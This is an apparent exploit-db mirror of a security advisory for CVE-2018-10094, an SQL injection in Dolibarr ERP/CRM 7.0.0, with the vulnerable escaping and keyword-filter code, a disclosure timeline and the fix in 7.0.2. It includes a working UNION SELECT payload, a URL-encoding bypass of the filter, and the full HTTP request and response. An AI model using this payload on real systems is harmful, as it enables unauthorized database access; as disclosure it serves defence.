Dolibarr ERP/CRM 7.0.0 – (Authenticated) SQL Injection

  • 作者: Sysdream
    日期: 2018-05-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44805/
  • # [CVE-2018-10094] Dolibarr SQL Injection vulnerability
    
    
    ## Description
    
    Dolibarr is an "Open Source ERP & CRM for Business" used by many
    companies worldwide.
    
    It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
    or as distribution packages (e.g .deb package).
    
    **Threat**
    
    The application does not handle user input properly and allows execution
    of arbitrary SQL commands on the database.
    
    **Expectation**
    
    Prepared queries should be used in order to avoid SQL injection in user
    input.
    
    
    ## Vulnerability type
    
    **CVE ID**: CVE-2018-10094
    
    **Access Vector**: remote
    
    **Security Risk**: high
    
    **Vulnerability**: CWE-89
    
    **CVSS Base Score**: 7.5
    
    **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    
    
    ## Details
    
    The database connector escapes quotes with the `real_escape_string()`
    wrapper. However it is still possible to perform injection on integer
    parameters without quotes.
    
    ```php
    mysqli.class.php
    
    /**
     *Escape a string to insert data
     *
     *@paramstring$stringtoencode String to escape
     *@return stringString escaped
     */
    function escape($stringtoencode)
    {
    return $this->db->real_escape_string($stringtoencode);
    }
    ```
    
    Additional checks are defined later, which forbit some SQL keywords (e.g
    `union`, `create`, `insert`). However, by url encoding the payload,
    these checks are bypassed.
    
    ```php
    main.inc.php
    
    /**
     * Security: SQL Injection and XSS Injection (scripts) protection
    (Filters on GET, POST, PHP_SELF).
     *
     * @param string$valValue
     * @param string$type 1=GET, 0=POST, 2=PHP_SELF
     * @returnint >0 if there is an injection
     */
    function test_sql_and_script_inject($val, $type)
    {
    $inj = 0;
    // For SQL Injection (only GET are used to be included into bad
    escaped SQL requests)
    if ($type == 1)
    {
    $inj += preg_match('/updatexml\(/i', $val);
    $inj += preg_match('/delete\s+from/i', $val);
    $inj += preg_match('/create\s+table/i',$val);
    $inj += preg_match('/insert\s+into/i', $val);
    $inj += preg_match('/select\s+from/i', $val);
    $inj += preg_match('/into\s+(outfile|dumpfile)/i',$val);
    }
    if ($type != 2) // Not common, we can check on POST
    {
    $inj += preg_match('/update.+set.+=/i',$val);
    $inj += preg_match('/union.+select/i', $val);
    $inj += preg_match('/(\.\.%2f)+/i',$val);
    }
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on
    body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    // More on
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    $inj += preg_match('/<script/i', $val);
    $inj += preg_match('/<iframe/i', $val);
    $inj += preg_match('/Set\.constructor/i', $val);// ECMA script 6
    if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
    $inj += preg_match('/base[\s]+href/si', $val);
    $inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can
    be set on img or any html tag like <img title='...' onmouseover=alert(1)>
    $inj += preg_match('/onerror\s*=/i', $val); // onerror can be
    set on img or any html tag like <img title='...' onerror = alert(1)>
    $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be
    set on input text html tag like <input type='text' value='...' onfocus =
    alert(1)>
    $inj += preg_match('/onload\s*=/i', $val);// onload can be
    set on svg tag <svg/onload=alert(1)> or other tag like body <body
    onload=alert(1)>
    $inj += preg_match('/onclick\s*=/i', $val); // onclick can be
    set on img text html tag like <img onclick = alert(1)>
    $inj += preg_match('/onscroll\s*=/i', $val);// onscroll can be
    on textarea
    //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event
    handlers onAbort(), ...
    $inj += preg_match('/&#58;|&#0000058|&#x3A/i', $val); //
    refused string ':' encoded (no reason to have it encoded) to lock
    'javascript:...'
    //if ($type == 1)
    //{
    $inj += preg_match('/javascript:/i', $val);
    $inj += preg_match('/vbscript:/i', $val);
    //}
    // For XSS Injection done by adding javascript closing html tags
    like with onmousemove, etc... (closing a src or href tag with not
    cleaned param)
    if ($type == 1) $inj += preg_match('/"/i', $val); // We
    refused " in GET parameters value
    if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF
    is a file system path. It can contains spaces.
    return $inj;
    }
    ```
    
    ## Proof of Concept : retrieving the database name.
    
    Payload:
    
    ```
    1) union select
    0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
    
    Url-encoded payload:
    %31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
    ```
    
    ```http
    GET
    /dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
    HTTP/1.1
    Host: dolibarr.lab:2080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
    Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie:
    DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    ...
    
    </a>
     </td>
     <td>10.1.26-MariaDB-0+deb9u1</td>
     <td>2</td>
     <td></td>
     <td>1</td>
     <td>21</td>
     <td class="nowrap">
    ```
    
    
    ## Affected versions
    
    * Version 7.0.0 (last stable version as of March 2018) - previous
    versions are probably also vulnerable but not tested
    
    ## Solution
    
    Update to 7.0.2
    ([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))
    
    ## Timeline (dd/mm/yyyy)
    
    * 18/03/2018 : Initial discovery
    * 17/04/2018 : Contact with the editor
    * 17/04/2018 : Editor acknowledges the vulnerability
    * 18/04/2018 : Editor announces fixes in version 7.0.2
    * 21/05/2018 : Vulnerability disclosure
    
    ## Credits
    
    * Issam RABHI (i dot rabhi at sysdream dot com)
    * Kevin LOCATI (k dot locati at sysdream dot com)
    
    -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream